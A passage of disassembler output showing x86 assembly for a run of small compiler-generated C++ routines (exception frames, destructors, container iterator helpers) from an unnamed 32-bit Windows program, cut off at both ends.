		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414C70	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B45
sub_414C70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414C88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414C88:				; CODE XREF: ___:00414C7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414CA0	proc near		; CODE XREF: sub_401B45j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414CA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401578
sub_414CA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414D40	proc near		; CODE XREF: sub_4014BFj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414D40
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414E3B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014C9
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_446F70
		call	sub_401861
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C9E
		mov	[esp+88h+var_4], ebx
		call	sub_40210D
		test	al, al
		jz	loc_414F70
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414E3B:				; CODE XREF: sub_414D40+36j
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F70
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014C9
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014C9
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014C9
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_443600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_443600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C9E
		mov	[esp+0D0h+var_4], ebx
		call	sub_40189D
		test	al, al
		jz	short loc_414F70
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F70:				; CODE XREF: sub_414D40+82j
					; sub_414D40+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414D40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415030	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401EBA
sub_415030	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415070	proc near		; CODE XREF: sub_40171Cj

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401EBA
sub_415070	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016CC
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_40172B
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4150F0	proc near		; CODE XREF: sub_401578j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401465
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CD5
sub_4150F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415160	proc near		; CODE XREF: sub_4012E9j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_415160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4151A0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_4151A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151D0	proc near		; CODE XREF: sub_40147Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D89
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40215D
sub_4151D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415210	proc near		; CODE XREF: sub_401258j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4012E9
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401D5C
		test	al, al
		jz	short loc_415291
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415243:				; CODE XREF: sub_415210+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_401FA5
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415275
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		jmp	short loc_41527E
; ---------------------------------------------------------------------------


loc_415275:				; CODE XREF: sub_415210+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4020A4


loc_41527E:				; CODE XREF: sub_415210+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415243
		pop	edi


loc_415291:				; CODE XREF: sub_415210+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152D0	proc near		; CODE XREF: sub_401E1Fj
		push	esi
		mov	esi, ecx
		call	sub_401EB5
		mov	eax, esi
		pop	esi
		retn
sub_4152D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152F0	proc near		; CODE XREF: sub_401FA5j
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_4152F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415310	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415340	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015CD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415370	proc near		; CODE XREF: sub_401F05j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C7B
sub_415370	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4153B0	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E1A
sub_4153B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401983j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415460	proc near		; CODE XREF: sub_402234j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_401EF1j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402234
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A96
sub_415490	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154D0	proc near		; CODE XREF: sub_401924j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4154D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415520	proc near		; CODE XREF: sub_401154j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_401983
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401AD7
		test	al, al
		jz	short loc_4155A1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415553:				; CODE XREF: sub_415520+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415585
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		jmp	short loc_41558E
; ---------------------------------------------------------------------------


loc_415585:				; CODE XREF: sub_415520+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4018B6


loc_41558E:				; CODE XREF: sub_415520+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415553
		pop	edi


loc_4155A1:				; CODE XREF: sub_415520+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155E0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E79
		mov	eax, esi
		pop	esi
		retn
sub_4155E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402126
		add	esp, 4
		retn
sub_415600	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415620	proc near		; CODE XREF: sub_4018B6j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415620	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415650	proc near		; CODE XREF: sub_401AD7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EA6
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415650	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415680	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DA2
sub_415680	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4156C0	proc near		; CODE XREF: sub_4014B5j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401EF6
sub_4156C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415730	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415770	proc near		; CODE XREF: sub_40114Aj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415770	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157A0	proc near		; CODE XREF: sub_401406j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401CFD
sub_4157A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4157E0	proc near		; CODE XREF: sub_401C62j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		pop	esi
		add	esp, 0Ch
		retn
sub_4157E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415830	proc near		; CODE XREF: sub_402130j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4018F2
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401339
		test	al, al
		jz	short loc_4158B1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415863:				; CODE XREF: sub_415830+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415895
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_415895:				; CODE XREF: sub_415830+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41589E:				; CODE XREF: sub_415830+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401339
		test	al, al
		jnz	short loc_415863
		pop	edi


loc_4158B1:				; CODE XREF: sub_415830+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415830	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158F0	proc near		; CODE XREF: sub_402252j
		push	esi
		mov	esi, ecx
		call	sub_401E29
		mov	eax, esi
		pop	esi
		retn
sub_4158F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017DA
		add	esp, 4
		retn
sub_415910	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415930	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415930	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415960	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40144C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415960	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415990	proc near		; CODE XREF: sub_40113Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415990	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159D0	proc near		; CODE XREF: sub_4016CCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_4159D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415A00	proc near		; CODE XREF: sub_40215Dj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C4E
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401EBA
sub_415A00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401EFB
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_402194
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AA0	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
